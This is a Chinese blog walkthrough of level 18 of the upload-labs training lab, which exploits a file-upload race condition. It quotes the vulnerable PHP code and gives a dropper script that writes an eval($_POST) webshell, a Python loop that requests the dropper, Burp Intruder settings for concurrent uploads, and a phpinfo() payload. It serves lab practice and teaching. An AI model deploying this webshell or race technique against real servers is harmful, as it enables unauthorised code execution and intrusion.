当前位置: 首页 > news >正文

upload-labs通关笔记-第18关文件上传之条件竞争

目录

一、条件竞争

二、源码分析

1、源码分析

2、攻击原理

3、渗透思路

 三、实战渗透

1、构造脚本

2、获取上传脚本URL

3、构造访问母狼脚本的Python代码

4、bp不断并发上传母狼脚本

(1)开启专业版bp

(2) 上传母狼脚本发送到intruder

(3)配置intruder位置

(4)配置intruder负载

(5)配置intruder线程

(6)intruder开始攻击

5、执行访问母狼脚本

6、访问小狼脚本 


本文通过《upload-labs通关笔记-第18关文件上传之条件竞争》系列。文件上传条件竞争是一种在文件上传过程中利用并发操作导致的时间差来绕过安全限制的攻击方式,本节进行条件竞争绕过渗透实战。

一、条件竞争

条件竞争(Race Condition Vulnerability)在文件上传的应用场景中是一种常见的安全问题,其核心原理是利用系统处理文件时的"检查-使用"时间差(Time-of-Check to Time-of-Use, TOCTOU)进行攻击。其基本工作原理如下所示。

(1)正常上传流程

  • 服务器检查文件合法性(扩展名、内容类型等)
  • 服务器将文件保存到指定位置
  • 服务器对文件进行后续处理(如重命名、移动或删除)

(2)原因

  • 在"检查"和"最终处理"之间存在时间窗口
  • 攻击者可在这个时间间隙内进行操作

二、源码分析

打开靶场第18关,查看源码,分析可知文件上传的处理流程是先被传到服务器,然后根据后缀是否在白名单中,如果不在则删掉文件。具体代码如下所示。

1、源码分析

很明显代码存在条件竞争安全风险,主要原因在于文件移动和文件类型检查这两个操作不是原子操作,中间存在时间间隔,攻击者可以利用这个时间间隔进行攻击。详细注释后的代码如下所示。 

<?php
// 初始化变量 $is_upload,用于标记文件是否上传成功,初始值为 false 表示尚未成功上传
$is_upload = false;
// 初始化变量 $msg,用于存储上传过程中的提示信息,初始值为 null 表示暂无提示信息
$msg = null;// 检查是否通过 POST 方式提交了名为 'submit' 的表单元素
// 如果提交了,说明用户触发了文件上传操作,进入后续处理逻辑
if (isset($_POST['submit'])) {// 定义一个数组 $ext_arr,存储允许上传的文件扩展名$ext_arr = array('jpg', 'png', 'gif');// 获取用户上传文件的原始文件名$file_name = $_FILES['upload_file']['name'];// 获取上传文件在服务器临时存储的路径$temp_file = $_FILES['upload_file']['tmp_name'];// 从文件名中提取文件扩展名// strrpos($file_name, ".") 用于查找文件名中最后一个点号的位置// substr($file_name, strrpos($file_name, ".") + 1) 从最后一个点号的下一个位置开始截取字符串,得到文件扩展名$file_ext = substr($file_name, strrpos($file_name, ".") + 1);// 拼接上传文件在目标目录中的完整路径// UPLOAD_PATH 是预定义的上传文件保存目录$upload_file = UPLOAD_PATH . '/' . $file_name;// 尝试将临时文件从临时存储路径移动到目标路径// move_uploaded_file 是 PHP 内置函数,用于处理文件上传移动操作if (move_uploaded_file($temp_file, $upload_file)) {// 检查提取的文件扩展名是否在允许的扩展名数组中if (in_array($file_ext, $ext_arr)) {// 如果扩展名合法,拼接一个新的文件名// rand(10, 99) 生成一个 10 到 99 之间的随机整数// date("YmdHis") 获取当前的日期和时间,格式为年月日时分秒// 最后拼接上文件扩展名$img_path = UPLOAD_PATH . '/' . rand(10, 99) . date("YmdHis") . "." . $file_ext;// 将之前移动到目标路径的文件重命名为新的文件名rename($upload_file, $img_path);// 将 $is_upload 标记为 true,表示文件上传成功$is_upload = true;} else {// 如果扩展名不合法,将提示信息 $msg 设置为只允许上传指定类型的文件$msg = "只允许上传.jpg|.png|.gif类型文件!";// 删除已经移动到目标路径的文件unlink($upload_file);}} else {// 如果文件移动失败,将提示信息 $msg 设置为上传出错$msg = '上传出错!';}
}
?>

2、攻击原理

 根据源码可知本关卡服务器的处理流程有条件竞争安全风险,具体原理如下所示。

  1. 文件移动:代码先使用move_uploaded_file函数将上传的临时文件移动到目标目录,此时文件已经被放置在目标目录中,但还未进行文件类型检查。
  2. 时间间隔:在文件移动完成后,代码才开始检查文件扩展名是否合法。在这个时间间隔内,攻击者可以利用多线程或脚本快速地多次上传文件,并且在服务器进行文件类型检查之前,修改服务器上文件的扩展名或内容。
  3. 绕过检查:如果攻击者在文件类型检查之前将文件扩展名修改为合法的扩展名,或者利用文件包含访问图片马等方式让服务器以恶意代码的形式执行文件,就可以绕过文件类型检查,实现恶意文件的上传和执行。

3、渗透思路

利用上传到服务器和判断不在黑名单被删除的时间差进行webshell上传。即攻击者上传一个包含恶意代码的 .php 文件(我们称之为母狼脚本),服务器将其移动到目标目录。在服务器进行文件类型检查之前,攻击者通过脚本执行生成一个新的脚本(我们称之为小狼脚本),这样在后续的扩展名检查中,虽然母狼脚本因检查不合格被删除,但是小狼脚本却没有被检查而存储在服务器中被认为是合法文件,从而绕过了安全检查,这样我们访问小狼脚本恶意代码就有可能被执行。

总结起来就是上传木马1(母狼)成功,木马1(母狼)还没被删掉的时间差过程中,成功访问木马文1(母狼)。这个木马文件1(母狼)的特点是可以生成一句话小木马2(小狼),如果在时间差内访问成功上传的这个木1(母狼),即可生成一句话小木马2(小狼)。这样不断地并发上传母狼脚本,接下来不断地并发访问母狼脚本,由于服务器是先存储母狼脚本然后检查母狼的合法性再杀掉,只要利用时间差在服务器杀死母狼之前让母狼脚本可以生成小狼脚本,即可通过访问小狼脚本实现渗透

 三、实战渗透

1、构造脚本

构造文件上传的shell脚本(脚本1,母狼,命名为ljn_shell.php),内容为post马。脚本内容如下所示。

<?php fputs(fopen('ljn_post.php','w'),'<?php @eval($_POST[ljn]);?>');?>

 此函数用于写入或创建一个名为 ljn_post.php 的文件(脚本2,小狼)。如果文件不存在,将会创建一个名为ljn_post.php新的文件,脚本内容如下所示。

    <?php @eval($_POST[ljn]);?>

    2、获取上传脚本URL

    对于上传到服务器的母狼脚本ljn_shell.php,相关源码处理如下所示。

        // 获取用户上传文件的原始文件名$file_name = $_FILES['upload_file']['name'];// 获取上传文件在服务器临时存储的路径$temp_file = $_FILES['upload_file']['tmp_name'];// 拼接上传文件在目标目录中的完整路径// UPLOAD_PATH 是预定义的上传文件保存目录$upload_file = UPLOAD_PATH . '/' . $file_name;// 尝试将临时文件从临时存储路径移动到目标路径// move_uploaded_file 是 PHP 内置函数,用于处理文件上传移动操作if (move_uploaded_file($temp_file, $upload_file)) {}

    分析可知文件上传到服务器的URL根据如下代码决定,由upload目录与文件名拼接。

    upload_file = UPLOAD_PATH . '/' . $file_name

    根据源码可知$file_name为上传文件名,假如要传的源码为ljn_shell.php,那么存储在upload/目录下,那么母狼脚本1的URL链接地址如下所示。

    http://127.0.0.1/upload-labs/upload/ljn_shell.php

    同理,母狼ljn_shell.php生成的小狼脚本ljn_post.php生成在同一目录,故而小狼脚本文件的完整URL地址如下所示。

    http://127.0.0.1/upload-labs/upload/ljn_post.php

    3、构造访问母狼脚本的Python代码

    这段代码的功能是不断的并发访问母狼脚本ljn_shell.php,希望可以利用时间差在服务器检查后缀判断其不在白名单删除母狼前,使得母狼脚本ljn_shell.php可以成功执行生成小狼脚本ljn_post.php。

    import requests
    url = "http://127.0.0.1/upload-labs/upload/ljn_shell.php"
    while True:html = requests.get(url)if html.status_code == 200:print("OK")breakelse:print("NO")
    

    4、bp不断并发上传母狼脚本

    (1)开启专业版bp

    浏览器开启代理,burpsuite注意要选用专业版)打开拦截功能。

    (2) 上传母狼脚本发送到intruder

    点击上传后报文被bp拦截,右键发送到intruder,如下所示。

    (3)配置intruder位置

    选择狙击手模式清空所有负载,具体如下所示。

    (4)配置intruder负载

    接下来配置payloads,选择null payload并选择continue indefinitely,具体如下所示。 

    (5)配置intruder线程

    在intrude里面,选择resource pool下面有个create new source pool可以重新设置线程数,我们勾选maximum concurrent requests,并且进行参数的设置,这里我选择了10个线程,大家可以根据自己机器的配置进行设置。

    (6)intruder开始攻击

    攻击后的效果如下所示。

    5、执行访问母狼脚本

    运行执行3.3的python脚本,看到ok说明渗透成功效果如下所示。

    此时说明渗透成功,母狼脚本访问成功,生成了小狼脚本ljn_post.php。此时关闭bp的intruder,如下所示。

    6、访问小狼脚本 

    上传到服务器的母狼脚本访问成功,生成了小狼脚本ljn_post.php,完整URL地址如下所示。

    http://127.0.0.1/upload-labs/upload/ljn_post.php

    POST参数设置进行如下code设置,如下图所示渗透成功。

    ljn=phpinfo();

    相关文章:

  1. 文件操作和IO-3 文件内容的读写
  2. QScrollArea内容增加后自动跳到底部
  3. Python生成物理引擎的简单知识图谱
  4. JavaScript 垃圾回收与内存泄漏
  5. JavaScript中从原数组中删除某个元素
  6. STM32 CAN CANAerospace
  7. 使用 Docker 搭建 PyWPS 2.0 服务全流程详解
  8. matIo库及.mat数据格式介绍
  9. AI智能分析网关V4区域入侵检测算法:全功能覆盖,多场景守护安防安全
  10. 【技术追踪】ADDP:通过交替去噪扩散过程学习用于图像识别和生成的通用表示(ICLR-2024)
  11. 【Linux 学习计划】-- makefile
  12. 6.13.拓扑排序
  13. 危险品摆渡人
  14. BSD 操作系统的历史、影响及贡献
  15. day33 python深度学习入门
  16. k8s容器入门(1)有状态服务 vs 无状态服务 核心区别
  17. 企业级爬虫进阶开发指南
  18. Vue 3 与 Vue 2 的区别详解
  19. 【Leetcode 每日一题】3362. 零数组变换 III
  20. KCTF-CCG CrackMe crypto 1.0
  21. 做网站然后推广/郑州网站建设方案
  22. 设计网站 杭州/seo网络推广企业
  23. asp.net建网站/大数据网站
  24. 常州网站建设机构/最新实时大数据
  25. 网站建设培训龙岗/信息流广告
  26. 做外汇都看那些网站/如何免费找精准客户